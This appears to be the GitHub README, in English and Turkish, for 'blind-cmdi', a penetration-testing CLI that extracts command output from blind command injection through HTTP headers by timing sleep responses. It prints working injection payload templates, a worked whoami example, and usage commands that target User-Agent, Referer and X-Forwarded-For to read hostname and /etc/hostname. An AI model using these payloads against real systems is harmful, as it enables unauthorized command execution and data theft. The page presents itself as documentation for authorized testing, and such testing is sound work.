Skip to content

MuhammetSec/blind-cmdi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 

Repository files navigation

blind-cmdi

A Python CLI tool for extracting command output from blind command injection vulnerabilities using time-based inference through HTTP headers.

When a web application reflects or processes HTTP header values in an unsafe way (e.g., logging User-Agent into a shell command), and no direct output is returned, this tool confirms each character of the command output by measuring response time — if the server sleeps, the guessed character is correct.

How It Works

For each position (1 → max_len):
    For each character in charset:
        Inject: $( [ "$(whoami | cut -c3)" = "i" ] && sleep 5 )
        If response_time >= delay - 0.5s → character confirmed
        Else → try next character
    3 consecutive misses → end of output

The tool sends one HTTP request per (position, character) pair with the payload injected into the chosen header. The charset covers a-z A-Z 0-9 - _ . — sufficient for most hostnames, usernames, and paths.

Installation

git clone https://github.com/yourusername/blind-cmdi.git
cd blind-cmdi

Method 1 — Virtual Environment (recommended for macOS)

Note: On macOS (Sonoma and later), pip3 install may fail with an "externally managed environment" error due to PEP 668. The solution is to use a virtual environment.

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Important: When using a virtual environment, always activate it before running the tool:

source venv/bin/activate

Method 2 — Direct Install (Linux)

pip3 install -r requirements.txt

Requirements

  • Python 3.8+
  • requests library

Usage

Basic

python3 blind_cmdi.py --url http://target.com/vulnerable-endpoint

This runs with all defaults: injects into User-Agent, extracts hostname, 5s delay, 30 char max.

Custom Command and Header

python3 blind_cmdi.py \
    --url http://target.com/log \
    --header Referer \
    --command whoami \
    --payload referer \
    --delay 3 \
    --max-len 20

X-Forwarded-For Injection

python3 blind_cmdi.py \
    --url http://target.com/api/status \
    --header X-Forwarded-For \
    --command "cat /etc/hostname" \
    --payload x-forwarded-for \
    --delay 5

Arguments

Argument Default Description
--url required Target URL
--header User-Agent HTTP header to inject the payload into
--command hostname Shell command to extract output from
--delay 5 Sleep duration in seconds for true condition
--max-len 30 Maximum number of characters to extract
--payload user-agent Payload key from payloads.json

If an invalid --payload key is given, the tool prints all available keys and exits:

$ python3 blind_cmdi.py --url http://target.com --payload wrong

[!] Invalid payload key: 'wrong'

[!] Available payload keys:

  user-agent
    [0] Bash subshell with cut character extraction and conditional sleep
    [1] Inline if-then via backtick substitution with cut
    ...
  referer
    [0] Bash subshell with cut character extraction and conditional sleep
    ...
  x-forwarded-for
    [0] Bash subshell with cut character extraction and conditional sleep
    ...

Example Output

[*] Payload : user-agent — Bash subshell with cut character extraction and conditional sleep

[*] Target  : http://target.com/log
[*] Header  : User-Agent
[*] Command : whoami
[*] Delay   : 5s  (threshold: 4.5s)
[*] Max len : 30
[*] Charset : abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.
--------------------------------------------------
[+] pos=  1  char='w'  time=5.12s  result=w
[+] pos=  2  char='w'  time=5.08s  result=ww
[+] pos=  3  char='w'  time=5.21s  result=www
[-] pos=  4  no match  (misses: 1)
[-] pos=  5  no match  (misses: 2)
[-] pos=  6  no match  (misses: 3)
[*] 3 consecutive misses — assuming end of output.
--------------------------------------------------
[*] Extracted: www

Payload Structure

All payloads are defined in payloads.json. The file is organized by technique and then by target header:

{
    "time_based": {
        "user-agent": [
            {
                "description": "Human-readable description of the technique",
                "template": "$( [ \"$(CMD | cut -cPOS)\" = \"CHAR\" ] && sleep DELAY )"
            }
        ],
        "referer": [ ... ],
        "x-forwarded-for": [ ... ]
    }
}

Template Placeholders

Placeholder Replaced With
CMD The shell command to execute
POS Character position (1-indexed)
CHAR Character being tested
DELAY Sleep duration in seconds

Adding Custom Payloads

Add a new entry under an existing header key or create a new key:

{
    "time_based": {
        "custom-header": [
            {
                "description": "My custom payload",
                "template": "prefix; [ \"$(CMD | cut -cPOS)\" = \"CHAR\" ] && sleep DELAY"
            }
        ]
    }
}

Then use it with --payload custom-header --header X-Custom-Header.

Project Structure

blind-cmdi/
├── blind_cmdi.py      # CLI entry point and extraction engine
├── payloads.json      # Payload templates (time-based, per header)
├── requirements.txt   # Python dependencies
└── README.md

Disclaimer

This tool is intended exclusively for authorized security testing — penetration tests, CTF challenges, and security research conducted with explicit written permission from the target system owner.

Unauthorized use of this tool against systems you do not own or have permission to test is illegal and may violate computer fraud and abuse laws in your jurisdiction, including but not limited to the CFAA (US), CMA (UK), and equivalent statutes internationally.

The author assumes no liability for misuse. You are solely responsible for ensuring that your use complies with all applicable laws and that you have proper authorization before running this tool against any target.

License

MIT


Türkçe / Turkish

blind-cmdi

HTTP header'ları üzerinden zaman tabanlı (time-based) blind command injection zafiyetlerini kullanarak komut çıktısını karakter karakter çıkaran bir Python CLI aracı.

Bir web uygulaması HTTP header değerlerini güvensiz bir şekilde işliyorsa (örneğin User-Agent'ı bir shell komutuna logluyorsa) ve doğrudan bir çıktı döndürmüyorsa, bu araç sunucu yanıt süresini ölçerek her karakteri doğrular — sunucu uyursa, tahmin edilen karakter doğrudur.

Nasıl Çalışır

Her pozisyon için (1 → max_len):
    Karakter setindeki her karakter için:
        Enjekte et: $( [ "$(whoami | cut -c3)" = "i" ] && sleep 5 )
        Eğer yanıt_süresi >= gecikme - 0.5s → karakter doğrulandı
        Değilse → sonraki karakteri dene
    Art arda 3 eşleşme başarısızlığı → çıktı sonu

Araç, her (pozisyon, karakter) çifti için seçilen header'a payload enjekte ederek bir HTTP isteği gönderir. Karakter seti a-z A-Z 0-9 - _ . karakterlerini kapsar — hostname'ler, kullanıcı adları ve dosya yolları için yeterlidir.

Kurulum

git clone https://github.com/yourusername/blind-cmdi.git
cd blind-cmdi

Yöntem 1 — Sanal Ortam (macOS için önerilen)

Not: macOS'ta (Sonoma ve sonrası) pip3 install, PEP 668 nedeniyle "externally managed environment" hatası verebilir. Çözüm olarak sanal ortam (virtual environment) kullanın.

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Önemli: Sanal ortam kullanıyorsanız, aracı çalıştırmadan önce her zaman aktif edin:

source venv/bin/activate

Yöntem 2 — Doğrudan Kurulum (Linux)

pip3 install -r requirements.txt

Gereksinimler

  • Python 3.8+
  • requests kütüphanesi

Kullanım

Temel Kullanım

python3 blind_cmdi.py --url http://hedef.com/zafiyetli-endpoint

Tüm varsayılanlarla çalışır: User-Agent header'ına enjeksiyon yapar, hostname komutunu çıkarır, 5 saniye gecikme, maksimum 30 karakter.

Özel Komut ve Header

python3 blind_cmdi.py \
    --url http://hedef.com/log \
    --header Referer \
    --command whoami \
    --payload referer \
    --delay 3 \
    --max-len 20

X-Forwarded-For Enjeksiyonu

python3 blind_cmdi.py \
    --url http://hedef.com/api/status \
    --header X-Forwarded-For \
    --command "cat /etc/hostname" \
    --payload x-forwarded-for \
    --delay 5

Argümanlar

Argüman Varsayılan Açıklama
--url zorunlu Hedef URL
--header User-Agent Payload'ın enjekte edileceği HTTP header'ı
--command hostname Çıktısı çıkarılacak shell komutu
--delay 5 Doğru koşulda uyku süresi (saniye)
--max-len 30 Çıkarılacak maksimum karakter sayısı
--payload user-agent payloads.json dosyasındaki payload anahtarı

Geçersiz bir --payload anahtarı verilirse, araç mevcut tüm anahtarları listeler ve çıkar:

$ python3 blind_cmdi.py --url http://hedef.com --payload yanlis

[!] Invalid payload key: 'yanlis'

[!] Available payload keys:

  user-agent
    [0] Bash subshell with cut character extraction and conditional sleep
    [1] Inline if-then via backtick substitution with cut
    ...
  referer
    [0] Bash subshell with cut character extraction and conditional sleep
    ...
  x-forwarded-for
    [0] Bash subshell with cut character extraction and conditional sleep
    ...

Örnek Çıktı

[*] Payload : user-agent — Bash subshell with cut character extraction and conditional sleep

[*] Target  : http://hedef.com/log
[*] Header  : User-Agent
[*] Command : whoami
[*] Delay   : 5s  (threshold: 4.5s)
[*] Max len : 30
[*] Charset : abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.
--------------------------------------------------
[+] pos=  1  char='w'  time=5.12s  result=w
[+] pos=  2  char='w'  time=5.08s  result=ww
[+] pos=  3  char='w'  time=5.21s  result=www
[-] pos=  4  no match  (misses: 1)
[-] pos=  5  no match  (misses: 2)
[-] pos=  6  no match  (misses: 3)
[*] 3 consecutive misses — assuming end of output.
--------------------------------------------------
[*] Extracted: www

Payload Yapısı

Tüm payload'lar payloads.json dosyasında tanımlanmıştır. Dosya teknik ve hedef header'a göre düzenlenmiştir:

{
    "time_based": {
        "user-agent": [
            {
                "description": "Tekniğin okunabilir açıklaması",
                "template": "$( [ \"$(CMD | cut -cPOS)\" = \"CHAR\" ] && sleep DELAY )"
            }
        ],
        "referer": [ ... ],
        "x-forwarded-for": [ ... ]
    }
}

Şablon Yer Tutucuları

Yer Tutucu Yerine Geçen Değer
CMD Çalıştırılacak shell komutu
POS Karakter pozisyonu (1'den başlar)
CHAR Test edilen karakter
DELAY Uyku süresi (saniye)

Özel Payload Ekleme

Mevcut bir header anahtarına yeni bir giriş ekleyin veya yeni bir anahtar oluşturun:

{
    "time_based": {
        "ozel-header": [
            {
                "description": "Özel payload açıklaması",
                "template": "prefix; [ \"$(CMD | cut -cPOS)\" = \"CHAR\" ] && sleep DELAY"
            }
        ]
    }
}

Ardından şu şekilde kullanın: --payload ozel-header --header X-Custom-Header.

Proje Yapısı

blind-cmdi/
├── blind_cmdi.py      # CLI giriş noktası ve çıkarım motoru
├── payloads.json      # Payload şablonları (zaman tabanlı, header bazlı)
├── requirements.txt   # Python bağımlılıkları
└── README.md

Yasal Uyarı

Bu araç yalnızca yetkili güvenlik testleri için tasarlanmıştır — hedef sistem sahibinden açık yazılı izin alınarak gerçekleştirilen penetrasyon testleri, CTF yarışmaları ve güvenlik araştırmaları.

Bu aracın sahip olmadığınız veya test etme izniniz olmayan sistemlere karşı yetkisiz kullanımı yasadışıdır ve bulunduğunuz ülkedeki bilişim suçları yasalarını ihlal edebilir; bunlar arasında TCK Madde 243-245 (Türkiye), CFAA (ABD), CMA (Birleşik Krallık) ve uluslararası muadil düzenlemeler yer almaktadır.

Yazar, kötüye kullanımdan hiçbir sorumluluk kabul etmez. Kullanımınızın tüm geçerli yasalara uygun olduğundan ve herhangi bir hedefe karşı bu aracı çalıştırmadan önce uygun yetkiye sahip olduğunuzdan emin olmak tamamen sizin sorumluluğunuzdadır.

Lisans

MIT

About

Time-based blind command injection extractor via HTTP headers. CTF & authorized pentesting only.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages